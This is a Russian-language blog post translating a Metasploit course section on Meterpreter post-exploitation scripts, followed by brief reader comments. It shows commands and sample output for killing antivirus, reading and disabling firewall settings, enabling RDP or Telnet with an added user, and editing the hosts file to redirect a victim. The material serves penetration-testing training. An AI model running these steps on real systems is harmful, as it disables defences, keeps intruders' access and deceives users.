Создание сценариев для Meterpreter.
Одним из наиболее значимых преимуществ Meterpreter является универсальность и простота добавления дополнительных функций. Это достигается благодаря специальной среде по написанию сценариев для Metasploit. Этот раздел будет охватывать автоматизацию процессов в сессии Meterpreter, используя специализированную среду по написанию сценариев под различные задачи.
Перед «погружением» в раздел следует рассмотреть еще несколько замечаний. Как и во всем Metasploit framework, мы будем иметь дело со сценариями, написанными на Ruby, которые расположены в главном каталоге Metasploit — scripts/meterpreter. Если вы не знакомы с языком программирования Ruby, возможно вам стоит посетить обучающий ресурс и прочесть книгу "Programming Ruby".
Перед тем как начать, пожалуйста уделите несколько минут на рассмотрение текущего репозитория Subversion сценариев Meterpreter на . Этот, достаточно большой, ресурс можно использовать в качестве заимствования кода, который может быть полезен для вас, а заодно воочию увидеть как другие решают проблемы с кодом.
Скрипты в Meterpreter.
В Metasploit входит множество скриптов, которые не раз помогут вам с Metasploit Framework. Эти сценарии, как правило, написаны сторонними разработчиками и приняты в репозиторий Subversion. Мы «пробежимся» по некоторым из них и опишем как они смогут помочь в испытаниях на проникновение.
Скрипты, упомянутых выше, предназначенные для использования с оболочкой Meterpreter после удачной компрометации системы. После того как вы получили доступ к Meterpreter сессии на удаленной системе вы можете начинать использовать эти сценарии в соответствии с вашими целями.
Сценарий 'checkvm', как можно видеть из названия, проверяет, является ли эксплуатируемая система виртуальной машиной. Эта информация может быть очень полезной.
meterpreter > run checkvm [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........ [*] This is a VMware Workstation/Fusion Virtual Machine
Сценарий 'getcountermeasure' проверяет настройки безопасности в системе жертвы и может отключить другие меры безопасности, такие как антивирус, Firewall, и многое другое.
meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Standard profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Local Area Connection 6 firewall configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] [*] Checking DEP Support Policy...
Сценарий 'getgui' используется для включения RDP на удаленной системе, в том случае, если он отключен.
meterpreter > run getgui Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u -p OPTIONS: -e Enable RDP only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add. meterpreter > run getgui -e [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez carlos_perez@darkoperator.com [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary
Скрипт 'gettelnet' включает telnet на удаленной системе, если он отключен.
meterpreter > run gettelnet Windows Telnet Server Enabler Meterpreter Script Usage: gettelnet -u -p OPTIONS: -e Enable Telnet Server only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add. meterpreter > run gettelnet -e [*] Windows Telnet Server Enabler Meterpreter Script [*] Setting Telnet Server Services service startup mode [*] The Telnet Server Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary
Сценарий 'killav' может быть использован для отключения большинства антивирусных программ, работающих в качестве службы на целевой системе.
meterpreter > run killav [*] Killing Antivirus services on the target... [*] Killing off cmd.exe...
Сценарий 'get_local_subnets' используется для получения маски подсети жертвы.
meterpreter > run get_local_subnets Local subnet: 10.211.55.0/255.255.255.0
Сценарий 'hostsedit' служит для добавления узлов в файл hosts в Windows системе. Поскольку Windows для разрешения адресов проверяет в первую очередь файл host, а уже потом делает запрос к DNS серверу, модификация этого файла может быть полезной для перенаправления пользователя на «фейковый» адрес. Представление записей происходит, по одной в каждой строке.
meterpreter > run hostsedit OPTIONS: -e Host entry in the format of IP,Hostname. -h Help Options. -l Text file with list of entries in the format of IP,Hostname. One per line. Example: run hostsedit -e 127.0.0.1,google.com run hostsedit -l /tmp/fakednsentries.txt
спасибо.
Незачто :), спасибо создателям курса, а я всего лишь перевел, как смог. Да, возможно несколько дней я не буду обновлять блог, в связи со срочной работой.
Спасибо за перевод. Читаю, просто супер :)
Как закончу перевод, выложу одним файлом.